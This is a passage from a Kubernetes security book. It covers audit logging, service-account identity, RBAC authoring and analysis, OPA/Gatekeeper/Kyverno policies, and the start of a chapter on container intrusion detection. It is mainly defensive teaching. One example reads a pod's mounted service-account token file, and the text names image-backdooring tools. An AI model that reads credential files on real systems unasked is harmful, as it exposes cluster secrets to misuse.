In the following sections, we review some common expectations—that is, policy-related situations and methods that are well-established—and how they are addressed by defaults in Kubernetes and, in case there are no OOTB functions available, point to examples that work on top of Kubernetes.

Breakglass Scenario

When we say breakglass scenario

we routinely think of a process to bypass the default access
control regime, in case of an emergency. The emergency could be an external event like a natural disaster or an attacker trying to mess with your cluster. If such a functionality is provided, the breakglass accounts offered are usually highly privileged (so to stop the bleeding) and oftentimes time-boxed. As breakglass access is granted, what happens in the background is that owners are notified and the account is recorded for auditing.

While Kubernetes does not ship with breakglass features by default, there are examples, such as GKE’s binary authorization breakglass capability
, that show how this might work in practice.

Auditing

Kubernetes comes

with auditing
built in. In the API server, each request generates an audit event, which is preprocessed according to a policy that states what is recorded and then written to a backend; currently logfiles and webhooks (sends events to an external HTTP API) are supported.

The configurable
audit levels range from None
(do not record event) to RequestResponse
(record event metadata, request and response bodies).

An example policy to capture events on ConfigMaps may look as follows:

apiVersion

:

audit.k8s.io/v1

kind

:

Policy

rules

:

-

level

:

Request

resources

:

-

group

:

""

resources

:

[

"configmaps"

]

The OOTB auditing features
of Kubernetes are a good starting point and many security and observability vendors offer, based on it, additional functionality, be it a more convenient interface or integrations with destinations, including but not limited to the following:

- Sysdig “Kubernetes Audit Logging”

- Datadog “Kubernetes Audit Logs”

- Splunk/Outcold “Monitoring Kubernetes: Metrics and Log Forwarding”

As a good practice, enable auditing and try to find the right balance between verbosity (audit level) and retention period.

Authentication and Authorization

If you consider a

Kubernetes cluster, there are different types of resources, both in-cluster (such as a pod or a namespace) as well as out-of-cluster (for example, the load balancer of your cloud provider), that a service may provision. In this section we will dive into the topic of defining and checking the access a person or a program requires to access resources necessary to carry out a task.

In the context of
access control, when we say authorization we mean the process of checking the permissions concerning a certain action, for example to create or delete a resource, for a given identity. This identity can represent a human user or a program, which we usually refer to as workload identity. Verifying the identity of a subject, human or machine, is called authentication.

Figure 8-2
shows, on a high level, how the access to resources works in a Kubernetes cluster, covering the authentication and authorization steps.

Figure 8-2.
Kubernetes access control overview (source: Kubernetes documentation
)

The first step in the
API server is the authentication of the request via one or more of the configured authentication modules such as client certificates, passwords, or

JSON Web Tokens (JWT). If an API server cannot authenticate the request, it rejects it with a 401 HTTP status. However, if the authentication succeeds, the API server moves on to the authorization step.

In this step the API server uses one of the configured authorization modules to determine if the access is allowed; it takes the credentials along with the requested path, resource (pod, service, etc.) and verb (create, get, etc.), and if at least one module grants access, the request is allowed. If the authorization fails, an 403 HTTP status code is returned. The most widely used authorization module nowadays is RBAC (see “Role-Based Access Control (RBAC)”
).

In the following sections, we will first review the defaults Kubernetes has, show how those can be attacked, and subsequently discuss how to monitor and defend against attacks in the access control space.

Human Users

Kubernetes does
not consider human users
as first-class citizens, in contrast to machines (or applications), which are represented by so-called service accounts (see “Service accounts”
). In other words, there are no core Kubernetes resources representing human users in Kubernetes proper.

In practice, organizations oftentimes want to map Kubernetes cluster users to existing user directories such as LDAP servers like Azure Directory and ideally provide

single sign-on (SSO).

As usual, there are the two options available: buy or build. If you’re using the Kubernetes distribution of your cloud provider, check the integrations there. If you’re looking into building out SSO yourself, there are a number of open source tools available that allow you to do this:

- OpenID Connect (OIDC)/OAuth 2.0–based solutions, such as available via Dex
.

- Security Assertion Markup Language (SAML)–based solutions, such as offered by Teleport
.

In addition, there are more complete open source offerings such as Keycloak
, supporting a range of use cases from SSO to policy enforcement.

While humans don’t have a native representation in Kubernetes, your workload does.

Workload Identity

In contrast
to human users, workloads such as a deployment owning pods are indeed first-class citizens in Kubernetes.

Service accounts

By default, a service account
represents
the identity of an app in Kubernetes. A service account is a namespaced
resource that can be used in the context of a pod to authenticate your app against the API server. Its canonical form is as follows:

system:serviceaccount:NAMESPACE:NAME

As part of the control
plane, three controllers
jointly implement the service account automation, that is, managing Secrets and tokens:

- The ServiceAccount admission controller,

part of the API server, acts on pod creation and update. The controller checks if service account used by the pod exists, and in case it does not, rejects the pod (or, if no service account is specified, uses the default
service account). In addition, it manages a volume, making the service account available via a well-known location: /var/run/secrets/kubernetes.io/serviceaccount
.

- The TokenController, part of the
control plane component called controller manager, watches service accounts and creates or deletes the respective tokens. These are JSON Web Tokens (JWT) as defined in RFC 7519.

- The ServiceAccount controller, also part of the controller manager, ensures that in every namespace a service account default
exists.

For example, the default
service account in the kube-system
namespace would be referred to as system:serviceaccount:kube-system:default
and would look something like the following:

apiVersion

:

v1

kind

:

ServiceAccount

metadata

:

name

:

default

namespace

:

kube-system

secrets

:

-

name

:

default-token-v9vsm

The default
service account

In the kube-system
namespace

Using the Secret with the name default-token-v9vsm

We saw that the default
service account uses a Secret called default-token-v9vsm
, so let have a look at it with kubectl -n kube-system get secret default-token-v9vsm -o yaml
, which yields the following YAML doc (edited to fit):

apiVersion

:

v1

kind

:

Secret

metadata

:

annotations

:

kubernetes.io/service-account.name

:

default

name

:

default-token-v9vsm

namespace

:

kube-system

type

:

kubernetes.io/service-account-token

data

:

ca.crt

:

LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tL...==

namespace

:

a3ViZS1zeXN0ZW0=

token

:

ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk...==

Your application can use the data managed by the control plane components as described previously from within the pod. For example, from inside a container, the volume is available at:

~ $

ls -al /var/run/secrets/kubernetes.io/serviceaccount/
total 4
drwxrwxrwt 3

root root 140

Jun 16

11:31 .
drwxr-xr-x 3

root root 4096

Jun 16

11:31 ..
drwxr-xr-x 2

root root 100

Jun 16

11:31 ..2021_06_16_11_31_31.83035518
lrwxrwxrwx 1

root root 31

Jun 16

11:31 ..data -> ..2021_06_16_11_31_31.83035518
lrwxrwxrwx 1

root root 13

Jun 16

11:31 ca.crt -> ..data/ca.crt
lrwxrwxrwx 1

root root 16

Jun 16

11:31 namespace -> ..data/namespace
lrwxrwxrwx 1

root root 12

Jun 16

11:31 token -> ..data/token

The JWT token that the TokenController
created is readily available for you:

~ $

cat /var/run/secrets/kubernetes.io/serviceaccount/token
eyJhbGciOiJSUzI1NiIsImtpZCI6InJTT1E1VDlUX1ROZEpRMmZSWi1aVW0yNWVocEh.
...

Service accounts are regularly used as building blocks and can be combined with other mechanisms such as projected volumes
(discussed in Chapter 6
, and the kubelet
for workload identity management.

For example, the EKS feature IAM roles for service accounts
demonstrates such a combination in action.

While handy, the service account does not provide for a cryptographically strong workload identity out-of-the-box and hence may be not
sufficient for
certain use cases.

Cryptographically strong identities

Secure Production Identity Framework for Everyone
(SPIFFE) is a Cloud Native Computing Foundation (CNCF) project that

establishes identities for your workloads. SPIRE
is a production-ready reference implementation of the SPIFFE APIs allowing performance of node and workload attestation; that is, you can automatically assign cryptographically strong identities to resources like pods.

In SPIFFE, a workload is a program deployed using a specific configuration, defined in the context of a trust domain, such as a Kubernetes cluster. The identity of the workload is in the form of a so-called SPIFFE ID, which comes in the general schema shown as follows:

spiffe://trust-domain/workload-identifier

An SVID (short for SPIFFE Verifiable Identity Document) is
the document, for example a X.509 certificate JWT token, a workload proves its identity toward a caller. The SVID is valid if it has been signed by an authority in the trust domain.

If you are not familiar with SPIFFE and want to read up on it, we recommend having a look at the terminology section of the SPIFFE docs
.

With this we’ve reached the end of the general authentication and authorization discussion and focus now on a central topic in Kubernetes security: role-based access

control.

Role-Based Access Control (RBAC)

Nowadays, the default mechanism for granting humans and workloads access to resources in Kubernetes is role-based access control (RBAC)
.

We will first review the defaults, then discuss how to understand RBAC using tools to analyze and visualize the relations, and finally we review attacks in this space.

RBAC Recap

In the context of RBAC
we use the following terminology:

- An identity
is a human user
or service account.

- A resource
is something (like a namespace or
deployment) we want to provide access to.

- A role
is used to define
conditions for actions on resources.

- A role binding
attaches a
role to an identity, effectively representing the permissions of a set of actions concerning specified resources.

Allowed actions of an identity on a given resource are called verbs that come in two flavors: read-only ones (get
and list
) and read-write ones (create
, update
, patch
, delete
, and deletecollection
). Further, the scope of a role can be cluster-wide or in the context of a Kubernetes namespace.

By default, Kubernetes comes with privilege escalation prevention. That is, users can create or update a role only if they already have all the permissions contained in the role.

Note

There are two types of

roles in Kubernetes: roles and cluster roles. The difference is the scope: the former is only relevant and valid in the context of a namespace, whereas the latter works cluster-wide. The same is true for the respective bindings.

Last but not least, Kubernetes defines a number of default roles
you might want to review

before defining your own roles (or use them as starting points).

For example, there’s a default cluster role
called edit
predefined (note that the output has been cut down
to fit):

$

kubectl describe clusterrole edit
Name: edit
Labels: kubernetes.io/bootstrapping=

rbac-defaults
rbac.authorization.k8s.io/aggregate-to-admin=

true

Annotations: rbac.authorization.kubernetes.io/autoupdate: true

PolicyRule:
Resources Non-Resource URLs Resource Names Verbs
--------- ----------------- -------------- -----
configmaps []

[]

[

create delete ... watch]

...

A Simple RBAC Example

In this section, we
have a look at a simple RBAC example: assume you want to give a developer joey
the permission to view resources of type deployments in the yolo
namespace.

Let’s first create a
cluster role called view-deploys
that defines the actions allowed for the targeted resources with the following command:

$

kubectl create clusterrole view-deploys \

--verb=

get --verb=

list \

--resource=

deployments

The preceding command creates a resource with a YAML representation as shown in the following:

apiVersion

:

rbac.authorization.k8s.io/v1

kind

:

ClusterRole

metadata

:

name

:

view-deploys

rules

:

-

apiGroups

:

-

apps

resources

:

-

deployments

verbs

:

-

get

-

list

The targeted resources of this cluster role

The allowed actions when this cluster role is bound

Next, we equip the targeted principal with the cluster role we created in the previous step. This is achieved by the following command that binds the view-deploys
cluster role to the user joey
:

$

kubectl create rolebinding assign-perm-view-deploys \

--role=

view-deploys \

--user=

joey \

--namespace=

yolo

When you execute this command you create a resource with a YAML representation like so:

apiVersion

:

rbac.authorization.k8s.io/v1

kind

:

RoleBinding

metadata

:

name

:

assign-perm-view-deploys

namespace

:

yolo

roleRef

:

apiGroup

:

rbac.authorization.k8s.io

kind

:

Role

name

:

view-deploys

subjects

:

-

apiGroup

:

rbac.authorization.k8s.io

kind

:

User

name

:

joey

The scope of the role binding

The cluster role we want to use (bind)

The targeted principal (subject) to bind the cluster role to

Now, looking at a bunch of YAML code to determine what the permissions are is usually not the way you want to go. Given its

graph nature, usually you want some visual representation, something akin to what is depicted in Figure 8-3
.

For this case it looks pretty straightforward, but alas the reality is much more complicated and messy. Expect to deal with hundreds of roles, bindings, and subjects and actions across core Kubernetes resources as well as custom resource definitions (CRDs).

So, how can you figure out what’s going on, how can you truly understand the RBAC setup in your cluster? As usual, the answer is: additional
software.

Figure 8-3.
Example RBAC graph showing what developer joey
is allowed to do

Authoring RBAC

According to the

least privileges principle, you should only grant exactly the permissions necessary to carry out a specific task. But how do you arrive at the exact permissions? Too few means the task will fail, but too much power can yield a field day for attackers. A good way to go about this is to automate it: let’s have a look at a small but powerful tool called audit2rbac
that
can generate Kubernetes RBAC roles and role bindings covering API requests made by a user.

As a concrete example we’ll use an EKS cluster running in AWS. First, install awslogs
and
also audit2rbac
for your
platform.

For the following you need two terminal sessions as we use the first command (awslogs
) in a blocking mode.

First, in one terminal session, create the
audit log by tailing the CloudWatch output as follows (note, you can also directly pipe into audit2rbac
):

$

awslogs get /aws/eks/example/cluster \

"kube-apiserver-audit*"

\

--no-stream --no-group --watch \

>> audit-log.json

Note

While the awslogs
snippet shown
here uses an AWS-specific method to grab the logs, the principle stays the same. For example, to view GKE logs
you could use gcloud logging read
and AKS offers a similar way to access logs.

Now, in another terminal session, execute the kubectl
command
with the user you want to create the RBAC setting for. In the case shown we’re already logged in as said user, otherwise you can impersonate them with --as
.

Let’s say you want to generate the necessary role and binding for listing all the default resources (such as pods, services, etc.) across all namespaces. You would use the following command (note that the output is not shown):

$

kubectl get all -A
...

At this point we should have the audit log in audit-log.json
and can use it as an input for audit2rbac
as shown in the following. Let’s consume the audit log and create RBAC roles and bindings for a specific user:

$

audit2rbac

--user

kubernetes-admin

\

--filename

audit-log.json

\

>

list-all.yaml

Opening

audit

source...

Loading

events....

Evaluating

API

calls...

Generating

roles...

Complete!

Specify target user for the role binding.

Specify the logs to use as an input.

After running the preceding command, the resulting RBAC resources, comprising a cluster role and a cluster role binding that permit the user kubernetes-admin
to successfully execute kubectl get all -A
, is now available in list-all.yaml
(note that the output has been trimmed):

apiVersion

:

rbac.authorization.k8s.io/v1

kind

:

ClusterRole

metadata

:

annotations

:

audit2rbac.liggitt.net/version

:

v0.8.0

labels

:

audit2rbac.liggitt.net/generated

:

"

true

"

audit2rbac.liggitt.net/user

:

kubernetes-admin

name

:

audit2rbac:kubernetes-admin

rules

:

-

apiGroups

:

-

"

"

resources

:

-

pods

-

replicationcontrollers

-

services

verbs

:

-

get

-

list

-

watch

...

---

apiVersion

:

rbac.authorization.k8s.io/v1

kind

:

ClusterRoleBinding

metadata

:

annotations

:

audit2rbac.liggitt.net/version

:

v0.8.0

labels

:

audit2rbac.liggitt.net/generated

:

"

true

"

audit2rbac.liggitt.net/user

:

kubernetes-admin

name

:

audit2rbac:kubernetes-admin

roleRef

:

apiGroup

:

rbac.authorization.k8s.io

kind

:

ClusterRole

name

:

audit2rbac:kubernetes-admin

subjects

:

-

apiGroup

:

rbac.authorization.k8s.io

kind

:

User

name

:

kubernetes-admin

The generated cluster role allowing you to list the default resources across all namespaces

The binding, giving the user kubernetes-admin
the permissions

Tip

There’s also a krew
plug-in
called who-can
allowing you to gather the same information, quickly.

That was some (automagic) entertainment, was it not? Automating the creation of the roles helps you in enforcing least privileges as otherwise the temptation to simply “give access to everything to make it work” is indeed a big one, playing into the hands of the Captain and their greedy crew.

Next up: how to read and understand RBAC in a

scalable manner.

Analyzing and Visualizing RBAC

Given

their nature, with RBAC you end up with a huge forest of directed acyclic graph (DAGs), including the subjects, roles, their bindings, and actions. Trying to manually comprehend the connections is almost impossible, so you want to either visualize the graphs and/or use tooling to query for specific paths.

Tip

To address the challenge of discovering RBAC tooling and good practices, we maintain rbac.dev
, open to suggestions for additions via issues and pull requests.

For example, let’s assume you would like to perform a
static analysis on your RBAC setup. You could consider using krane
, a tool that identifies potential security risks and also makes suggestions on how to mitigate those.

To demonstrate RBAC
visualization in action, let’s walk through two examples.

The first example to visualize RBAC is a krew plug-in
called rbac-view
(Figure 8-4
) that
you can run as follows:

$

kubectl rbac-view
INFO[

0000]

Getting K8s client
INFO[

0000]

serving RBAC View and http://localhost:8800
INFO[

0010]

Building full matrix for

json
INFO[

0010]

Building Matrix for

Roles
INFO[

0010]

Retrieving RoleBindings
INFO[

0010]

Building Matrix for

ClusterRoles
...

Figure 8-4.
Screenshot of the rbac-view
web interface in action

Then you open the link provided, here http://localhost:8800
, in a browser and can interactively view and query roles.

The second example is a CLI tool called rback
, invented and
codeveloped by one of the authors. rback
queries RBAC-related information and generates a graph representation of service accounts, (cluster) roles, and the access rules in dot
format:

$

kubectl

get

sa,roles,rolebindings,clusterroles,clusterrolebindings

\

--all-namespaces

\

-o

json

|

rback

|

dot

-Tpng

>

rback-output.png

List the resources to include in the graph.

Set the scope (in our case: cluster-wide).

Feed the resulting JSON into rback
via stdin
.

Feed the rback
output in dot
format to the dot
program to generate the image rback-output.png
.

If you do have dot
installed you would find the output in the file called rback-output.png
, which would look

something like shown in Figure 8-5
.

Figure 8-5.
Output of running rback
against an EKS cluster

RBAC-Related Attacks

There are

not that many RBAC-related attacks found in the wild, indicated by CVEs. The basic patterns include:

- Too-loose permissions. Oftentimes, due to time constraints or not being aware of the issue, more permissions than actually needed to carry out a task are granted. For example, you want to state people are allowed to manage deployments and really all they need is to list and describe them, but you also give edit rights to them. This is violating the least privileges principle and a skilled attacker can misuse this setting.

- Demarcation line blurry. The shared responsibilities model in the context of running containers in a cloud environment might not always be super clear. For example, while it’s usually clear who is responsible for patching the worker nodes, it’s not always explicit who maintains application packages and their dependencies. Too liberal RBAC settings suggested as defaults can, if not properly reviewed, lead to an attack vector both subtle—as in: “ah, I thought you
are taking care of it”—and potentially with an unwelcome outcome when the T&C of the service have not been carefully perused.

- Prior to Helm 3, there was an overly privileged component present that caused all sorts of security concerns
, especially confused deputy
situations. While this is less and less of an issue, you might want to double check if there’s still some Helm 2 used in your clusters.

With the RBAC fun wrapped up, let’s now move on to the topic of generic policy handling and engines for said purpose. The basic idea being that, rather than hardcode certain policy types, making them part of Kubernetes proper, one has a generic way to define policies and enforce it using one of the many Kubernetes extension
mechanisms.

Generic Policy Engines

Let’s discuss generic policy engines that can be used in the context of Kubernetes to define and enforce any kind of policy, from organizational to regulatory ones.

Open Policy Agent

Open Policy Agent
(OPA) is a

graduated CNCF project that provides a general-purpose policy engine that unifies
policy enforcement. The policies in OPA are represented in a high-level declarative language called Rego. It lets you specify policy as code and simple APIs to externalize policy decision-making, that is, moving it out of your own software. As you can see in Figure 8-6
, OPA decouples policy decision-making from policy enforcement.

When you need to make a policy decision somewhere in your code (service
), you’d use the OPA API to query the policy in question. As an input the OPA server takes the current request data (in JSON format) as well as a policy (in Rego format) as input and computes an answer such as “access allowed” or “here is a list of relevant locations.” Note that the answer is not a binary one and entirely depends on the rules and data provided, computed in a deterministic manner.

Let’s look at

a concrete example
(one of the examples from the Rego online playground). Imagine you want to make sure that every resource has a costcenter
label that starts with cccode-
, and if that’s not the case the user receives a message that this is missing and cannot proceed (for example, cannot deploy an app).

Figure 8-6.
OPA concept

In Rego, the rule would look something like the following (we will get back to this example in “Gatekeeper”
in greater detail):

package

prod.k8s.acme.org

deny

[

msg

]

{

not

input.request.object.metadata.labels.costcenter

msg

:

=

"Every resource must have a costcenter label"

}

deny

[

msg

]

{

value

:

=

input.request.object.metadata.labels.costcenter

not

startswith

(

value,

"cccode-"

)

msg

:

=

sprintf

(

"Costcenter code must start with `cccode-`; found `%v`"

,

[

value

]

)

}

Is the costcenter
label present?

Does the costcenter
label start with a certain prefix?

Now, let’s assume someone does a kubectl apply
that causes a pod to be created that does not have a label.

Note

The way OPA rather literally hooks into the API server is achieved via one of the many Kubernetes extension mechanisms. In this case it uses the Dynamic Admission Control
; to
be more precise, it registers a webhook
that the API server calls before the respective resource is persisted in etcd
.

In other words, the AdmissionReview
resource shown in the example is what the API server sends to the OPA server, registered as a webhook.

As a result of the kubectl
command the API server generates an AdmissionReview
resource, in the following shown as a JSON document:

{

"kind"

:

"AdmissionReview"

,

"request"

:

{

"kind"

:

{

"kind"

:

"Pod"

,

"version"

:

"v1"

},

"object"

:

{

"metadata"

:

{

"name"

:

"myapp"

},

"spec"

:

{

"containers"

:

[

{

"image"

:

"nginx"

,

"name"

:

"nginx-frontend"

},

{

"image"

:

"mysql"

,

"name"

:

"mysql-backend"

}

]

}

}

}

}

With the preceding input, the OPA engine would compute the following output, which in turn would be, for example, fed back by the API server to kubectl
and shown to the user on the command line:

{

"deny"

: [

"Every resource must have a costcenter label"

]

}

Now, how to rectify the situation and make it work? Simply add a label:

"metadata"

:

{

"name"

:

"myapp"

,

"labels"

:

{

"costcenter"

:

"cccode-HQ"

}

}

,

This should go without saying, but it is always a good idea to test your policies
before you deploy them.

Rego
is a little different than what you might be used to and the best analogue we could come up with is XSLT. If you do decide to adopt

Rego, consider internalizing some tips
.

Using OPA directly

To use OPA

on the command line directly or in the context of an editor is fairly straightforward.

First, let’s see how to evaluate a given input and a policy. You start, as usual, with installing OPA
. Given that it’s written in Go, this means a single, self-contained binary.

Next, let’s say we want to use the costcenter
example and evaluate it on the command line, assuming you have stored the AdmissionReview
resource in a file called input.json
and the Rego rules in cc-policy.rego
:

$

opa

eval

\

--input

input.json

\

--data

cc-policy.rego

\

--package

prod.k8s.acme.org

\

--format

pretty

'deny'

[

"Every resource must have a costcenter label"

]

Specify the input OPA should use (an AdmissionReview
resource).

Specify what rules to use (in Rego format).

Set the evaluation context.

Specify output.

That was easy enough! But we can go a step further: how about using OPA/Rego in an editor, for developing new policies?

Interestingly enough, a range of IDEs and editors
, from VSCode to vim
, are supported (see Figure 8-7
).

Figure 8-7.
Screenshot of the Rego plug-in for vim

In the context of managing OPA policies across a fleet of clusters, you may want to consider evaluating Styra’s Declarative Authorization Service (DAS) offering
, an enterprise OPA solution coming with some useful features such as centralized policy management and logging, as well as impact analysis.

Tip

You can type-check
Rego policies in OPA with JSON schema. This adds another layer of validation and can help policy developers to catch bugs. Learn more about this topic via “Type Checking Your Rego Policies with JSON Schema in OPA”
.

Do you have to use Rego directly, though? No you do not have to, really. Let’s discuss alternatives in the context of

Kubernetes, next.

Gatekeeper

Given that

Rego is a DSL and has a learning curve, folks oftentimes wonder if they should use it directly or if there are more Kubernetes-native ways to use OPA. In fact the Gatekeeper project
allows exactly for this.

Tip

If you’re unsure if you should be using Gatekeeper over OPA directly, there are plenty of nice articles available that discuss the topic in greater detail; for example, “Differences Between OPA and Gatekeeper for Kubernetes Admission Control”
and “Integrating Open Policy Agent (OPA) With Kubernetes”
.

What Gatekeeper does is essentially introduce a separation of concerns: so-called templates represent the policies (encoding Rego) and as an end user you would interface with CRDs that use said templates. An admission controller configured in the API server takes care of the enforcement of the policies, then.

Let’s have a look at how the previous example concerning costcenter
labels being required could look with Gatekeeper. We assume that you have installed Gatekeeper already
.

First, you define the template, defining a new CRD called K8sCostcenterLabels
in a file called costcenter_template.yaml
:

apiVersion

:

templates.gatekeeper.sh/v1beta1

kind

:

ConstraintTemplate

metadata

:

name

:

costcenterlabels

spec

:

crd

:

spec

:

names

:

kind

:

K8sCostcenterLabels

validation

:

openAPIV3Schema

:

properties

:

labels

:

type

:

array

items

:

string

targets

:

-

target

:

admission.k8s.gatekeeper.sh

rego

:

|

package

prod.k8s.acme.org

deny[msg]

{

not

input.request.object.metadata.labels.costcenter

msg

:=

"Every

resource

must

have

a

costcenter

label"

}

deny[msg]

{

value

:=

input.request.object.metadata.labels.costcenter

not

startswith(value,

"cccode-")

msg

:=

sprintf("Costcenter

code

must

start

with

`cccode-`;

found

`%v`",

[value])

}

This defines the schema for the parameters
field.

This definition checks if the costcenter
label is provided or not. Note that each rule contributes individually to the resulting (error) messages.

The not
keyword in this rule turns an undefined statement into a truthy statement. That is, if any of the keys are missing, this statement is true.

In this rule we check if the costcenter
label is formatted appropriately. In other words, we require that it must
start with cccode-
.

When you have the CRD defined, you then can install it as follows:

$

kubectl apply -f costcenter_template.yaml

To use the costcenter
template CRD, you have to define a concrete instance (a custom resource, or CR for short), so put the following in a file called req_cc.yaml
:

apiVersion

:

constraints.gatekeeper.sh/v1beta1

kind

:

K8sCostcenterLabels

metadata

:

name

:

ns-must-have-cc

spec

:

match

:

kinds

:

-

apiGroups

:

[

""

]

kinds

:

[

"Namespace"

]

Which you then create using the following command:

$

kubectl apply -f req_cc.yaml

After this command, the Gatekeeper controller knows about the policy and enforces it.

To check if the preceding policy works, you can create a namespace that doesn’t have a label and if you then tried to create the namespace, for example using kubectl apply
, you would see an error message containing “Every resource must have a costcenter label” along with the resource creation denial.

With this you have a basic idea of how Gatekeeper works. Now let’s move on to an alternative way to effectively achieve

the same: the CNCF Kyverno project.

Kyverno

Another way

to go about managing and enforcing policies is a CNCF project by the name of Kyverno
. This project, initiated by Nirmata, is conceptually similar to Gatekeeper. Kyverno works as shown in Figure 8-8
: it runs as a dynamic admission controller, supporting both validating and mutating admission webhooks.

Figure 8-8.
Kyverno concept

So, what’s the difference between using Gatekeeper or plain OPA, then? Well, rather than directly or indirectly using Rego, with Kyverno you can do the following:

apiVersion

:

kyverno.io/v1

kind

:

ClusterPolicy

metadata

:

name

:

costcenterlabels

spec

:

validationFailureAction

:

enforce

rules

:

-

name

:

check-for-labels

match

:

resources

:

kinds

:

-

Namespace

validate

:

message

:

"

label

'app.kubernetes.io/name'

is

required

"

pattern

:

metadata

:

labels

:

app.kubernetes.io/name

:

"

?cccode-*

"

Defines what resources to target, in this case namespaces.

Defines the expected pattern; in case this is not achieved, the preceding error message is returned via webhook to client.

Does the preceding YAML look familiar? This is our costcenter-labels-are-required example from earlier on.

Learn more about getting started from Gaurav Agarwal’s article “Policy as Code on Kubernetes with Kyverno”
and watch “Introduction to Kyverno”
from David McKay’s excellent Rawkode Live series on YouTube.

Both OPA/Gatekeeper and Kyverno fail open, meaning that if the policy engine service called by the API server webhook is down and hence unable to validate an inbound change, they will proceed unvalidated. Depending on your requirements this may not be what you want, but the reasoning behind this is to prevent DOSing your cluster and subsequently slowing it down or potentially bringing down the control plane at all.

Both have auditing functionalities as well as a scanning mode that addresses this situation. For a more fine-grained comparison, we recommend you peruse Chip Zoller’s blog post “Kubernetes Policy Comparison: OPA/Gatekeeper vs. Kyverno”
.

Let’s now have a further look at other options in

this space.

Other Policy Offerings

In this last section on handling
policies for and in Kubernetes we review some projects and offerings that you may want to consider using in addition to or as an alternative to the previously discussed ones.

Given that a Kubernetes cluster doesn’t operate in a vacuum, but in a certain environment such as the case with managed offerings that would be the cloud provider of your choice, you may indeed already be using some of the following:

OSO

This is a library for building

authorization in your application. It comes with a set of APIs built on top of a declarative policy language called Polar, as well as a CLI/REPL and a debugger and REPL. With OSO you can express policies like “these types of users can see these sorts of information,” as well as implement role-based access control in your app.

Cilium policy
and Calico policy

These extend
the functionalities of Kubernetes network policies.

AWS Identity and Access Management (IAM)

This has a range of policies, from identity-based to

resource-based to organization-level policies. There are also more specialized offerings; for example, in the context of Amazon EKS, you can define security groups for pods
.

Google Identity and Access Management (IAM)

This has a rich and powerful policy model, similar to Kubernetes.

Azure Policy

This allows
stating business-level policies and they in addition offer Azure RBAC for access control purposes.

CrossGuard

By Pulumi, this is described
as “Policy as Code,” offering to define and enforce guardrails across cloud
providers.

Conclusion

Policy is essential to securing your clusters, and thought is required to map your teams to their groups and roles. Roles that allow transitive access to other service accounts may offer a path to privilege escalation. Also, don’t forget to threat model the impact of credential compromise, and always use 2FA for humans. Last but not least, as usual, automating as much as possible, including policy testing and validation, pays off in the long run.

The wonderful Kubernetes and wider CNCF ecosystem has already provided a wealth of open source solutions, so in our experience it’s usually not a problem to find a tool but to figure out which out of the, say, ten tools available is the best and will still be supported when the Captain’s grandchildren have taken over.

With this we’ve reached the end of the policy chapter and will now turn our attention to the question of what happens if the Captain somehow, despite of all our controls put in place, manages to break in. In other words, we discuss intrusion detection systems (IDS) to detect unexpected activity. Arrrrrrr!

Chapter 9.
Intrusion Detection

In this chapter we will see how container intrusion detection operates with the new low-level eBPF interface, what forensics looks like for a container, and how to catch attackers who have evaded all other controls.

Defense in depth
means limiting the trust you place in each security control you deploy. No solution is infallible, but you can use intrusion detection systems (IDS)

to detect unexpected activity in much the same way that motion sensors detect movement. Your adversary has already accessed your system and may even have viewed confidential information already, so an IDS reviews your system in real time for unexpected behavior and observes or blocks it. Alerts can trigger further defensive actions from an IDS, like dumping compromised memory or recording network activity.

Intrusion detection can inspect file, network, and kernel reads and writes to verify or block them with an allowlist or a denylist (as seccomp-bpf
configuration does). If Captain Hashjack’s Hard Hat Hacking Collective has remote access to your servers, an IDS might be triggered by their use of malware with known behavioral signatures, scan of networks or files for further targets, or any other program access that deviates from the expected “stable” baseline the IDS has learned about the process.

Some attackers’ campaigns are only discovered after the adversary has been on the system for weeks or months and finally inadvertently tripped the IDS detection.

Defaults

Stable behavior
is what we’d expect our container process to do normally, when running as intended, and not compromised. We can apply the same thing to any data we collect: access and audit logs, metrics and telemetry, and system calls and network activity.

Intrusion detection to identify deviance from this behavior requires installation, maintenance, and monitoring. By default most systems do not have any intrusion detection unless configured to do so.

Threat Model

Intrusion detection

can detect threats to BCTL’s systems. If an attacker gets remote code execution
(RCE) into a container they may be able to control the process, changing its behavior. Potentially nonstable behaviors that could indicate compromise might include:

- New or disallowed system calls (perhaps fork or exec system calls to create a shell like Bash or sh)

- Any unexpected network, filesystem, file metadata, or device access

- Application usage and order

- Unexplained processes or files

- Changes to users or identity settings

- System and kernel configuration events

Any of a process’s properties and behaviors when interacting with the wider system may also be subject to scrutiny.

Tip

Attack tools like ccat
and dockerscan
can poison images in registries and

install backdoors in container images that an attacker may use to gain entry to your pods at runtime. This sort of unexpected behavior should be noticed and alerted on by your IDS.

Of course, you don’t want to be alerted to legitimate activity, so you authorize expected behavior. It’s either preconfigured with rules and signatures or learned while the process is under observation in a nonproduction environment.

These threats should be identified and configured to alert your IDS system. We’ll see how in this chapter.

Traditional IDS

Before we get
into cloud native IDS, let’s have a look at a few of the other intrustion detection applications that have been prominent over the years.

Traditional intrusion detection systems are classed as

Network- or Host-based IDS (NIDS or HIDS), and some tools offer both. Historically these used signals from the host kernel or network adapter, and were not aware of the Linux namespaces that containers use.

Linux has
auditd

built in for

system call events, but this doesn’t correlate activity nicely across nodes in a distributed system. It’s also considered heavyweight (it generates a great volume of logs) and can’t distinguish by namespace due to “complex and incomplete” ID tracking of namespaced processes.

Tools like Suricata
, Snort
, and Zeek
inspect

network traffic against a rule and scripting engine, and may be run on the same host or (as they tend to be resource intensive) on dedicated hardware attached to the network under observation. Encrypted or steganographic payloads may escape such NIDS undetected. To further guard against these slippery assailants, the old-but-effective Tripwire
tool watches
files on the host for unauthorized changes.

An IDS detects
threats by either using preknown information about them or detecting deviance from an expected baseline. Information known in advance can be considered a “signature,” and signatures can relate to network traffic and scans, malware binaries, or memory. Any suspicious patterns in packets, “fingerprints” of application code or memory usage, and process activities are verified against an expected ruleset derived from the application’s “known good” behavior.

Once a signature pattern is identified (for example, the SUNBURST traffic back to command and control servers), the IDS creates a relevant alert.

Note

FireEye released
IDS configurations to detect SUNBURST
. These configurations support various IDS tools including Snort, Yara, IOC, and ClamAV.

Signatures

are distributed and update files, so you must regularly update them to ensure new and recent threats are detected. A signature-based approach is usually less resource intensive and less prone to false positives, but it may not detect zero-days and novel attacks. Attackers have access to defensive tooling and can determine how to circumvent controls in their own test systems.

Without predefined signatures to trip the IDS, anomalous behavior may be detected. This relies on a “known good state” of the application.

The derivation of a normal application behavior state defines “secure,” which puts the onus on defenders to ensure application correctness, rather than on the tool to enforce a generic ruleset.

